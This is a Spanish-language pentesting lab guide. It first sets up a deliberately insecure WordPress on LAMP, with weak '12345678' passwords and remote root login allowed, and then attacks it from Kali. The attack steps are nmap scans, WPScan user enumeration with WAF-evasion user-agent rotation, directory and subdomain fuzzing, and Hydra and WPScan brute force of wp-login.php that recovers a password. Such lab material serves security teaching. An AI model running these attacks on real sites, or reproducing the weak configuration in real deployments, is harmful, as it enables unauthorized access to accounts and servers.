WordPress sobre LAMP

Esta práctica guía la instalación de WordPress en un entorno vulnerable utilizando el stack LAMP sobre Ubuntu 24.04. El objetivo es doble:

• Primera parte: montar el servidor web completo (Linux + Apache + MySQL + PHP) e instalar WordPress de forma funcional pero con configuración insegura intencionada.
• Segunda parte: explotar esa instalación desde Kali Linux usando herramientas de pentesting reales (WPScan, Gobuster, Hydra).

Es crucial asegurar que todos los paquetes estén actualizados para garantizar la estabilidad del entorno antes de instalar cualquier componente.

sudo apt update && sudo apt upgrade -y

Apache es el servidor web que se encargará de recibir las peticiones HTTP y mostrar tu sitio WordPress al navegador.

sudo apt install apache2 -y

sudo systemctl status apache2

MySQL almacenará todo el contenido de WordPress: entradas, páginas, usuarios, configuraciones, etc.

sudo apt install mysql-server -y

sudo mysql_secure_installation

Script mysql_secure_installation en ejecución

Estableciendo contraseña y opciones de seguridad

Respuestas al script de seguridad

Durante el proceso se te harán varias preguntas. Para esta práctica usa:

• Contraseña root MySQL: 12345678
• Remove anonymous users? → y
• Disallow root login remotely? → n (ver explicación abajo)

Skipping password set for root as authentication with auth_socket is used by default.

WordPress necesita su propia base de datos y un usuario dedicado con permisos sobre ella. Nunca uses el usuario root de MySQL para aplicaciones web.

sudo mysql

CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;

CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY '12345678';

GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpressuser'@'localhost';

FLUSH PRIVILEGES;

EXIT;

PHP es el lenguaje de programación que usa WordPress. Además del intérprete base, necesita extensiones específicas para funcionar correctamente.

sudo apt install php libapache2-mod-php php-mysql php-curl php-gd php-mbstring php-xml php-xmlrpc php-soap php-intl php-zip -y

Necesitas crear un VirtualHost en Apache para que sepa dónde están los archivos de WordPress y cómo servirlos.

sudo nano /etc/apache2/sites-available/wordpress.conf

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/wordpress

    <Directory /var/www/wordpress/>
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog /error.log
    CustomLog /access.log combined
</VirtualHost>

sudo a2ensite wordpress.conf
sudo a2enmod rewrite

Habilitando el sitio WordPress y el módulo rewrite en Apache

sudo systemctl reload apache2

¿Reload o Restart?

wget https://wordpress.org/latest.tar.gz
tar -xvzf latest.tar.gz
sudo mv wordpress /var/www/

sudo chown -R www-data:www-data /var/www/wordpress

cd /var/www/wordpress
sudo cp wp-config-sample.php wp-config.php
sudo nano wp-config.php

define( 'DB_NAME', 'wordpress' );

define( 'DB_USER', 'wordpressuser' );

define( 'DB_PASSWORD', '12345678' );

define( 'DB_HOST', 'localhost' );

define( 'DB_CHARSET', 'utf8' );

define( 'DB_COLLATE', '' );

Configuración de la base de datos en wp-config.php

wp-config.php con toda la configuración correctamente guardada

Problema: Apache sigue mostrando la página por defecto

Si al acceder a http://localhost/ sigues viendo la página "It works!" de Apache, es porque el sitio predeterminado (000-default.conf) tiene prioridad sobre la configuración de WordPress. Ambos escuchan en el puerto 80.

Solución: deshabilitar el sitio por defecto

sudo a2dissite 000-default.conf

sudo a2ensite wordpress.conf

sudo systemctl reload apache2

✅ Instalador de WordPress cargando correctamente en el navegador

El último paso es el asistente de configuración web de WordPress. Accede a http://localhost/ en tu navegador.

Formulario de configuración inicial de WordPress

Instalación completada con éxito

Pantalla de inicio de sesión del panel de WordPress

Panel de administración de WordPress (wp-admin) accesible

Antes de empezar, configura el teclado en español para trabajar cómodamente con caracteres especiales en los comandos.

Cambiar idioma del teclado temporalmente (sesión actual)

setxkbmap es

Cambiar idioma del teclado de forma permanente

sudo nano /etc/default/keyboard

XKBLAYOUT="es"
XKBMODEL="pc105"
XKBVARIANT=""
XKBOPTIONS=""

Comprobar conectividad con la víctima

ping 192.168.1.47

Comprobando conectividad con la máquina víctima mediante ping

Escanear la víctima con Nmap

Tienes dos variantes de escaneo. La segunda es más agresiva y rápida:

Escaneo estándar (completo y detallado):

sudo nmap -p- -sV -sC -T4 192.168.1.47

Escaneo rápido con SYN scan y salida a fichero:

sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 192.168.1.47 -oN Escaneo

Resultado del escaneo Nmap — puertos y servicios detectados

WPScan es una herramienta especializada en auditoría de instalaciones WordPress. Detecta versiones, plugins vulnerables, usuarios, etc.

Actualizar la base de datos de WPScan

wpscan --update

Escaneo básico del sitio WordPress

wpscan --url http://192.168.1.47

Escaneo con rotación de User-Agent (evasión de WAF básico)

wpscan --url http://192.168.1.47 --random-user-agent

La enumeración de directorios busca rutas ocultas o no enlazadas en el servidor web, que pueden revelar paneles de administración, backups o archivos sensibles.

Gobuster — búsqueda básica

gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Gobuster — lista más extensa

gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sh

Feroxbuster — alternativa recursiva

feroxbuster -u http://192.168.1.47

Wfuzz — fuzzing de subdominios

wfuzz -c --hc=403 -t 20 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.local" -u http://192.168.1.47

Gobuster descubriendo rutas y archivos en la instalación WordPress

WordPress expone por defecto información sobre sus usuarios a través del REST API y el parámetro ?author=N. WPScan automatiza esta enumeración.

Enumerar usuarios y plugins vulnerables

wpscan --url http://192.168.1.47 --enumerate u,vp

Solo usuarios

wpscan --url http://192.168.1.47 --enumerate u

WPScan detectando el usuario 'sheldon' en la instalación

Página de login wp-login.php que usaremos como objetivo del ataque de fuerza bruta

Resultados detallados del análisis WPScan

Información adicional sobre la instalación WordPress detectada por WPScan

WPScan confirma el usuario 'sheldon' como válido

Con el usuario sheldon confirmado, podemos intentar descubrir su contraseña probando contra el diccionario rockyou.txt.

Fuerza bruta con WPScan (método recomendado para WordPress)

wpscan --url http://192.168.1.47/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames sheldon

WPScan descubriendo la contraseña 'penny' del usuario 'sheldon'

Fuerza bruta con Hydra (alternativa)

hydra -t 4 -V -f -l sheldon -P /usr/share/wordlists/rockyou.txt 192.168.1.47 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:L=2885'

Hydra ejecutando el ataque de fuerza bruta contra wp-login.php

Comprobar la posición de una contraseña en el diccionario

Útil para saber en qué línea está la contraseña objetivo y estimar cuánto tardaría el ataque:

grep -n penny rockyou.txt

Localizando 'penny' en el diccionario rockyou.txt y su número de línea

Entender los códigos HTTP es fundamental al hacer enumeración y ataques web. Aquí tienes los más relevantes organizados por categoría: